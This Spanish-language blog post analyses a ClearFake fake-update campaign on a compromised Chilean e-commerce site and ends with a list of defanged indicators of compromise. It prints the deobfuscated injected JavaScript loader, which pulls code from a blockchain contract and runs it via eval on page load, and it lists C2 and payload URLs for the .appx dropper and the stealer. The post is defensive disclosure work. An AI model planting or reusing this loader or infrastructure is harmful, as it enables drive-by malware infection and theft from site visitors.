Infección en sitio web de e-commerce chileno

Por un proceso de simple suerte, visitando a un sitio de e-commerce chileno, me encontré con un popup extraño que me hizo recorrer una serie saltos y encontrar que el sitio había sido comprometido para empujar una campaña de #ClearFake.

Proceso de Infección

Al entrar al sitio del e-commerce parece cargar normalmente, pero luego de unos segundos aparece un popup extraño dependiendo del navegador con que uno ingrese:

  • Si uno ingresa a través de Firefox aparece el siguiente mensaje:
  • Si uno ingresa a través de Chrome aparece el siguiente mensaje:

Esto solo ocurre cuando uno navega desde un browser en el sistema operativo Windows, esto pasa porque se identifica el User-Agent para generar el popup de infección.

Al hacer click en el mensaje de actualización me genera una descarga de un archivo desde Dropbox que pretende ser el instalador del navegador

En ambos casos es el mismo archivo con distinto nombre (link a VirusTotal), porque el hash es exactamente el mismo.

La descarga de estos archivos se logra porque dentro del código del sitio inyectaron algunos scripts de javscript:

Inicialmente esto puede que no diga nada, pero luego de traducirlo del base64 aparece el siguiente código:

async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
        ABI = [{
            inputs: [{
                internalType: "string",
                name: "_link",
                type: "string"
            }],
            name: "update",
            outputs: [],
            stateMutability: "nonpayable",
            type: "function"
        }, {
            inputs: [],
            name: "get",
            outputs: [{
                internalType: "string",
                name: "",
                type: "string"
            }],
            stateMutability: "view",
            type: "function"
        }, {
            inputs: [],
            name: "link",
            outputs: [{
                internalType: "string",
                name: "",
                type: "string"
            }],
            stateMutability: "view",
            type: "function"
        }],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link))
}
window.onload = load;

Lo complicado es la última parte de ese código:

eval(atob(link))

O sea, luego de generar una conexión a binance para poder leer un “smart contract”, debe ejecutar a través del método “eval” lo que venga como respuesta. Esta es la parte que inicia la infección, porque los controladores exponen ahí lo que quieran, de hecho lo que viene de respuesta es:

Es un código hexadecimal que trae más código JS ofuscado, que al deofuscarlo (con https://deobfuscate.relative.im/) llama a una URL que carga el código para el popup de actualización:

Esta URL es la que distingue entre los distintos navegadores y carga el popup relevante para cada uno.

Revisando los archivos de “instalación”

Al revisar los archivos descargados lo primero que llama la atención es la extensión “.appx” que es clasificada como un paquete de aplicación de Windows. Al momento de escribir este artículo en Virustotal, solo tiene detección maliciosa de Microsoft Defender:

Otra cosa que llama la atención es que el archivo tiene una firma digital válida del mismo día:

Con esto tenemos 2 alternativas posibles:

  • Archivo generado hoy y estamos ante el inicio de una nueva campaña
  • Archivo que se genera frecuentemente y estamos ante una campaña antigua con un nuevo payload

De todas formas, los archivos appx, son simplemente un archivo comprimido por lo que comenzamos la revisión del contenido:

Así podemos ver la estructura completa del paquete, y para validar qué es lo que está haciendo esta aplicación podemos revisar el archivo AppxManifest.xml:

Acá hay 2 cosas interesantes:

  • Pide permisos de micrófono y de webcam
  • El punto de entrada del paquete es el binario que está en la ruta: “AI_STUBS\AiStubX86.exe”

Este binario es parte de la suite de “Advanced Installer” para poder agregar más archivos y poder ejecutar lo que está en el sistema de archivos virtuales (VFS) de la aplicación (más info en este blog).

Especialmente llamativo es lo que dice sobre el aplicativo:

The AiStub.exe process takes care of copying the application’s data from the VFS folder inside the package to the local storage of the packaged version. Then it launches the main executable of the application. Everything is completely transparent for the user.

Por lo tanto, el archivo malicioso importante es el que está dentro de la carpeta VFS, en este caso el archivo es uno llamado “ChromeSetup.exe” (info en Virustotal).

Al revisar el comportamiento del binario en sandboxes podemos ver que genera conexiones a 2 puntos “extraños”:

La IP parece ser solo de despliegue de librerías válidas, pero además actúa como Centro de Comando y Control (C2).

Los dominios son interesantes porque todos resuelven a IP de Cloudflare y descargan exactamente la misma imagen .png (hash sha256: b921e0f73172e46f807ae78ed833f9046356196904bca196e09e4db943d9979e)

Lo interesante va a ser la revisión de archivo .png, porque aunque los datos de EXIF están correctos, y usando el binario exiftool nos aparece como una imagen PNG valida:

Al intentar abrirla con cualquier visor de imagen aparece como que estuviera corrupta.

Analizaremos el archivo en un siguiente artículo.

Campaña masiva

Hablando con Germán Fernández (https://twitter.com/1ZRR4H) para discutir sobre esta campaña me mencionó que es una campaña tipo “Fake Updates” específicamente ClearFake, que había sido detectada anteriormente en este artículo: https://rmceoin.github.io/malware-analysis/clearfake/

También proporcionó más información sobre este tipo de campañas y cómo actúan:

  1. Usuario visita sitio comprometido (Watering Hole Attack)
  2. Carga Binance Smart Chain (BSC)
  3. Muestra Fake Updates
  4. Descarga .APPX firmado
  5. Ejecuta HijackLoader (con esteganografía)
  6. Instala Racoon Stealer v2 (C2 5[.]75[.]241[.]110)

Además, encontró que existen más sitios comprometidos a través de una búsqueda por urlscan:

  • afriagrimagazine[.]com
  • isienvironmental[.]com
  • kekgroup[.]net
  • skaizengroup[.]eu
  • volquetesbosch[.]com[.]ar

Esta campaña está en pleno desarrollo y los dominios infectados están aumentando.

Contacto con el sitio y limpieza

Se tomó contacto con el sitio original de e-commerce que había encontrado infectado, pero como no había un proceso formal de contacto me comuniqué por ellos por Instagram a la cuenta oficial, además de poder contactarme con una persona de un puesto “más gerencial”.

Tuve la suerte de que me respondieron rápidamente y en menos de 3 horas tenían el sitio limpio, o por lo menos, se desactivó el malware para el e-commerce en cuestión.

Se agradece la pronta respuesta.

Indicadores de compromiso (IOCs)

Para el listado acumulador de esta y otras investigaciones pueden revisar https://ioc.finsin.cl

Los indicadores específicos para esta campaña son los siguientes:

ojhggnfbcy62[.]com
hxxps://ojhggnfbcy62[.]com/
hxxps://ojhggnfbcy62[.]com/vvmd54/
hxxps://ojhggnfbcy62[.]com/ZgbN19Mx
hxxps://www[.]dropbox[.]com/e/scl/fi/4xm9lsi8sfv7w65k8lrvj/Flr-f-lnst-ll-r[.]appx?rlkey=indky1l9s2pum29l3bxs8fztb&dl=1
server1-slabx[.]ocmtancmi2c5t[.]site
hxxps://server1-slabx[.]ocmtancmi2c5t[.]site/
hxxps://server1-slabx[.]ocmtancmi2c5t[.]site/herdess/167661736[.]png
server2-slabx[.]ocmtancmi2c5t[.]live
hxxps://server2-slabx[.]ocmtancmi2c5t[.]live/
hxxps://server2-slabx[.]ocmtancmi2c5t[.]live/osmesis/167661736[.]png
server3-slabx[.]ocmtancmi2c5t[.]ltd
hxxps://server3-slabx[.]ocmtancmi2c5t[.]ltd/
hxxps://server3-slabx[.]ocmtancmi2c5t[.]ltd/perigraphic/167661736[.]png
5[.]75[.]241[.]110
hxxp://5[.]75[.]241[.]110/3c7dcbb2b341db50b374a68fcde69786
hxxp://5[.]75[.]241[.]110/5acbab215490be507181317c231ccb58
hxxp://5[.]75[.]241[.]110/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3[.]dll
hxxp://5[.]75[.]241[.]110/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue[.]dll
hxxp://5[.]75[.]241[.]110/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140[.]dll
hxxp://5[.]75[.]241[.]110/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3[.]dll
hxxp://5[.]75[.]241[.]110/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3[.]dll
hxxp://5[.]75[.]241[.]110/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3[.]dll
hxxp://5[.]75[.]241[.]110/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140[.]dll
167661736.png
5250626249827335fa3b1f6282ba5d3b
62ea09be98b16179bd71729099c94a80dc5834cf
b921e0f73172e46f807ae78ed833f9046356196904bca196e09e4db943d9979e
ChromeSetup.exe
4b3232976c55b5d94bf6bf8cbaa7383e
e105fd513ee986bf4a58911bdb65038c2554bd22
7a978eeb1b77c4f177f93cda1891fcb98c8a6a59486b9dfb9675d97826709869
ChrоmеSеtuр.appx
98dcccfa8845f10b2bbb9f38b82f097d
d7f2c18744dbb74996479c86387be16ac86a33a9
62568df781e2e4d059a10650ff715c84e12964db759a1f74970681b445a1eb30

Deje un comentario

Crea una web o blog en WordPress.com

Subir ↑